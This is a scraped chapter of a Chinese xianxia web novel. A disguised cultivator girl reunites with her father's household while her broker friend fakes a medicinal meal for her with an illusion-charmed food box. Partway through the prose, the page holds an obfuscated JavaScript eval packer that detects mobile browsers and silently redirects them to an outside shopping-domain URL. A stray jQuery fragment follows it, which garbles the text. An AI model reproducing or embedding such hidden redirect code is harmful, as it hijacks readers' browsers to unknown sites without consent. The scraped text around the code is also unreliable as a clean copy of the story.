文趣网 > 其他小说 > 恩人滤镜跑偏后 > 4. 大戏开场(上)
    胡绥劭清了清嗓子。他自小无父无母,在街巷与乞儿们一同厮混长大,本不擅长这种骨肉相逢的戏码。可他这些年走街串巷,也见识过些许这般场景,他知道,这种时候他帮不上什么忙,只能开解几分气氛。

    “卢大人,我是此番送广灵姑娘来东都寻您的居间人,永吉牙行的胡绥劭。”胡绥劭拱手行了一礼,“姑娘先前在清河镇遇上一伙贼人,受了伤,但还是急着赶路来东都见您,因而一路奔波,伤还未好全。此刻怕是有些疲累,您看是否先叫她休息一番,用过午食再叙旧也不迟。”

    听到受伤,卢冠修神色一紧,想开口问询又有些犹豫,便道:"伤得可重?可找大夫看过?”

    “已无大碍,路上寻了大夫看过,也开了药。”广灵总算自在了几分。

    “好······"卢冠修像是松了一口气,“那不妨先去内间用些午食吧,你祖母也等着呢。”他侧过身,示意广灵与他一道走。

    胡绥劭闻言,也松了一口气。总算是把这个祖宗送到家了,当年的恩情已然偿尽,至于往后,是她自己的人生。思及此,洒脱如他,也不免生出几分涩滞。唉呀,天高海阔,怕是没有这样的缘分让两个八竿子打不着的人遇着第三次。

    胡绥劭心下伤感,正想抬手请辞,广灵奇怪地看了他一眼,这个胡行头自从踏进卢府就怪怪的,莫不是真中了邪,于是道:“胡行头不一起用午食吗?”

    胡绥劭噎了一下,想起广灵是灵地来的,怕是不懂凡尘的规矩,居间人哪里有跟着主家一同用饭的道理:“你们一家今日方才团聚,还是自家人一道用饭叙旧的好,我改日再来探望。”

    这本是句客气话,广灵却点了点头:“你说的不错,今日劳烦胡行头了,等你得空,便再上门,我还有话要同你说。”

    顶着卢冠修探究的目光,胡绥劭心下安慰自己,钱款还未结清,今日不便提起此事,再来一趟也是必要的:“都听广灵姑娘的吩咐。”他朝卢冠修拱手一礼,又向广灵点了点头,转身朝门外大步走去。

    广灵随着卢冠修来到内间,一位鬓发花白的老妇人端坐在主位上,身侧依次坐着先前见过的卢夫人和妹妹。老妇人面容慈和,目光落在广灵身上时,略微滞住一瞬,似是审视,又似有其他情绪闪过,很快便恢复如常。

    “灵姐儿,快来祖母身边坐。”老妇人招呼着广灵在自己身旁坐下,又拍了拍她的手背,目光里带着几分打量,“路上吃了不少苦吧?瞧你这瘦的。”

    广灵心想,修仙之后便开始辟谷,自小辟谷之人,想胖也胖不起来哈。但是面上却装出一番凄苦,泫然欲泣道:“此番赴东都之路艰难,路遇贼人,若不是胡行头相助,广灵怕是难以活着回到卢家了。”

    一边说,广灵一边观察在场之人的反应。卢夫人与卢广昭听到贼人一说,有些讶异,但很快面色恢复如常。卢冠修已听过此事,脸色依然不算好看。祖母却很是奇怪,僵硬了一瞬后,她竟有些怒意和随之而来畅快。这两种情绪混杂在一起,倒叫广灵觉得有些意思。

    祖母轻嗤了一声,眼神扫过卢冠修:“当年我怎么说的?你还偏不信,你瞧······”

    “母亲,既然灵姐儿好好的回来了,过去的事也不必再提。”卢冠修打断了她。

    祖母闻言,虽未再言语,但面上的神色却分明是“我早知如此”的得意。她端起茶盏抿了一口,叹了口气道:“既然回来了,便安心住下。你父亲这些年也不容易,往后你们好好相处便是。”

    听他们谈及往事,广灵正想竖起耳朵听听,却被卢冠修截断。她不愿放弃这个好机会,便又添了一把火,捂住半边脸如泣如诉:“这些年,广灵在灵地,时有做梦,梦见过东都。”

    卢冠修闻言,轻声问道:“你母亲与你提过东都之事吗?”

    广灵答道:“她自然提过,当年的事,想来她也是遗憾的。”

    祖母的怒意似是又被勾起,接过话头道:“她遗憾?她自个儿走的倒是决绝,说是为了你好,不还是带去了贼窝!若是留在东都,你就是卢家的小姐,好好的怎会遇到贼人?”

    眼见卢冠修要张口,卢夫人看着祖母的眼色安抚道:“十几年过去,灵姐儿都出落成了大姑娘了。我瞧着她母亲养的很好,无论如何,孩子也是苦尽甘来了,往后在卢家安心住下便是。”

    话题被卢夫人带过,广灵瞧着也问不出更多信息,便乖巧地点了点头。卢冠修叹了口气,吩咐着开席。丫鬟们鱼贯而入,将精致的菜肴一一摆上桌。

    修仙之人吸纳天地灵气,不食五谷。广灵知道在场诸人或多或少都知晓自己来自灵地,但如今那些挥之不去的灵气始终萦绕在她周边,叫她不得不警惕。

    她既不能食用这些饭菜,也不能将有灵力一事暴露人前,只得道:“这些年广灵在灵地天资不佳,未能习得术法,这才叫沿途贼人有机可乘,抢了盘缠去。如今伤口尚未恢复,大夫嘱咐忌口,怕是诸多菜肴都不便入口。胡行头那记录了一江湖名医口述的养伤菜谱,只怕还得劳人去他那里一趟,给些银子,叫他帮忙按方子配些药膳来才好。”

    胡乱诌了一通,祖母听闻她未习术法便展开了眉头,也不管其他,卢夫人按住了想说话的卢广昭,缄口不言,卢冠修倒是着急:“先前匆忙,倒是没问清楚。快拿了银子去请胡行头跑一趟!”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17885885|212527||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    管家应声而动,不一会儿就回来回话:“遣去的小厮回来了,胡行头收了银子已去配膳,说是很快就到。”

    广灵心中暗乐,不愧是胡行头,十分机灵,叫她生出几分期盼,不知他能带来什么“药膳”。

    胡绥劭原是惬意地躺在家中摇椅上,接着看起在清河镇得的那本话本子,正翻到精彩处,门外便传来叩门声。

    他听完小厮来意,无奈一笑,这姑娘真是会胡诌,编出这么个荒唐理由。这卢家众人也是各怀心思,才陪着她把戏唱了下去。既然戏台子已经搭好了,那他看在银子的份上,倒是不妨走一遭。

    打发走了小厮,他精心挑了个山门悬灯刻样的食盒,叩响了隔壁邻居家的房门。叩了一阵也不见有人回应,胡绥劭也不急,继续有节奏地敲着门环。又过了一会儿,一个睡眼惺忪的年轻人拉开了门,没什么好气,但看到胡绥劭,又强压下怒火,问道:“有什么急事?”

    胡绥劭笑着递上食盒:“珉弟,好久没见你了。我在渡口就听繁叔说,你这次去灵地收获颇丰,有没有带什么珍奇灵草回来?”

    许珉接过食盒,还以为是胡绥劭良心发现,看他两地往返赶路辛苦,给他送些吃食,结果一掂量便是空盒,大怒,正要关门,胡绥劭赶紧开口:“不逗你了,这回是真生意。我在凡尘认识的修士不多,你是我最信任的一个,这才把生意介绍给你。”

    “你且在这个食盒里施个幻术,叫旁人看起来里头有食物,但吃的人却只能吃得空气。”

    许珉闻言,眉头皱得更紧:“你整日里都在琢磨些什么歪门邪道?我可不会用术法来坑蒙拐骗。”

    “哪里是坑蒙拐骗?你对我的成见未免太深。”胡绥劭状作痛心,“我做行头的信誉四里八乡都知道,这是正经生意,人家下了定金的,做成后我分你三成。”

    许珉听了这话,面色狐疑:“什么正经生意要将幻术下到食盒里?”

    “大户人家的腌臜事。我也不瞒你,这位顾客是位姑娘,远赴东都投亲,可父亲不疼,继母不爱,家中处境艰难,生怕被人投了毒,这才想到找修士的妙法。”胡绥劭不敢点明广灵身份,真假掺半地编了个故事。

    许珉自小在继母手下过的不容易,这下倒是被勾起了恻隐之心,连三成利也没要,权当做了善事。他伸出指尖轻点食盒,一道微不可察的灵光闪过,食盒便恢复了原样。

    “成了。旁人看着里头是冒着热气的膳食,那位姑娘只需装作吃了几口,推说胃口不好便罢。”

    “多谢珉弟,你如此仗义,想来人家也承你这个情。”胡绥劭接过食盒,拱了拱手,转身朝卢家赶去。